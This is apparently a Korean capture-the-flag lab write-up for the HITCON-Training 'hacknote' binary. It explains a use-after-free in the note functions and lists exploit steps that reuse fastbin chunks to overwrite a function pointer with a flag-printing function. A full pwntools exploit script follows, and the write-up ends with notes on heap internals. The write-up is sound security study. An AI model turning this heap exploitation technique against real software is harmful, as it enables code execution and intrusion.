문제


hacknote 바이너리의 checksec 결과는 다음과 같다.

CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

file 명령어 결과는 다음과 같다.

hacknote: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=b7cd347eef976fbccc3014a5a14c5a739e514d09, not stripped

바이너리 코드

add_note 함수

for(i=0;i<=4;++i)
(
    if(!notelist[i])
        notelist[i]=malloc(8u);
    ...
    *notelist[i]=print_note_content;
    ...
    read(0,&buf,8u)
    size=atoi(&buf);
    v0=notelist[i];
    v0[1]=malloc(size);
    ...
    read(0,*((void**)notelist[i]+1),size)
    ...
    ++count;
    return *MK_FP(__GS__,20)^v5;
)
...

del_note 함수

...
read(0,&buf,4u);
v1=atoi(&buf);
...
if(notelist[v1)
(
    free(*((void**)notelist[v1]+1));
    free(notelist[v1])
    puts("Success")
)
return *MK_FP(__GS__,20)^v3;

print_note 함수

...
read(0,&buf,4u);
v1=atoi(&buf);
...
if(notelist[v1])
    (*(void(__cdecl**)(void *))notelist[v1])(notelist[v1]);
return *MK_FP(__GS__,20)^v3;    

del_note를 통해서 free을 한 heap 영역을 print_note를 통해서 사용할 수 있기 때문에 use after free 취약점이 존재한다.

또한 해당 바이너리에는 return system("cat /home/hacknote/flag")를 호출하는 magic 함수가 존재한다.

exploit 방법

  1. add_note 함수 호출을 통해서 16byte 공간을 할당받고 해당 주소를 notelist[0]에 저장한다. 그리고 read 함수의 인자로 16보다 더 큰 값을 넣어줘서 16byte 보다 더 큰 공간을 할당받는다.
  2. 1번과 동일한 행위를 반복해서 notelist[1]에 16바이트 공간의 주소를 저장한다.
  3. del_note 함수 호출을 통해서 0번 notelist를 free한다. 그 결과 16바이트 fastbin list에 notelist[0]에 저장된 주소의 영역이 들어간다.
  4. 3번과 동일한 행위를 반복하면 fastbin list에 notelist[1]에 저장된 주소의 영역이 들어간다.
  5. add_note를 함수를 호출하면 fastbin은 LIFO 구조이기 때문에 notelist[3]에 notelist[1]에 저장된 주소가 할당된다. 그리고 read 함수의 인자로 8을 주면 (notelist[3]+1)에 notelist[0]에 저장된 주소가 할당된다. 그 다음 호출되는 read 함수를 통해서 *(notelist[0])에 magic 함수의 주소를 넣는다.
  6. print_note 함수를 통해서 (*(void(__cdecl **)(void *))notelist[0])(notelist[0])를 실행하면 magic 함수를 호출할 수 있다.

풀이


#!/usr/bin/python

from pwn import *

def add_note(num,pay):
        p.recvuntil("choice :")
        p.send("1")
        p.recvuntil("Note size :")
        p.send(str(num))
        p.recvuntil("Content :")
        p.send(pay)

def del_note(num):
        p.recvuntil("choice :")
        p.send("2")
        p.recvuntil("Index :")
        p.send(str(num))
        p.recvuntil("Success\n")

def print_note(num):
        p.recvuntil("choice :")
        p.send("3")
        p.recvuntil("Index :")
        p.send(str(num))

file_path="/home/sungyun/HITCON-Training/LAB/lab10/hacknote"

p=process(file_path)

magic_system=0x08048986

add_note(20,"hi_3ffr3s")
add_note(20,"hi_3ffr3s")

del_note(0)
del_note(1)

add_note(8,p32(magic_system))

print_note(0)

print p.recvline()

알게 된 것


  1. fastbin은 같은 크기의 chunk들이 single-linked list 구조로 연결되어 있고 LIFO 구조이다. 또한 인접한 chunk와 병합되지 않는다. (fastbin이 아닌 다른 chunk들은 인접한 서로 다른 두 chunk가 free되면 병합된다. top chunk와 인접한 chunk도 병합됨) gdb에서 global_max_fast의 값을 통해 fastbin의 크기를 확인할 수 있다.

  2. prev_inuse이 비트는 앞에 위치한 chunk가 free되면 0으로 세팅된다. (fastbin은 prev_inuse 비트를 사용하지 않는다.)

  3. free하면 fd/bk (fastbin은 fd만) 주소 값으로 data 영역을 덮어쓴다. 가리킬 곳이 없으면 NULL이 들어간다.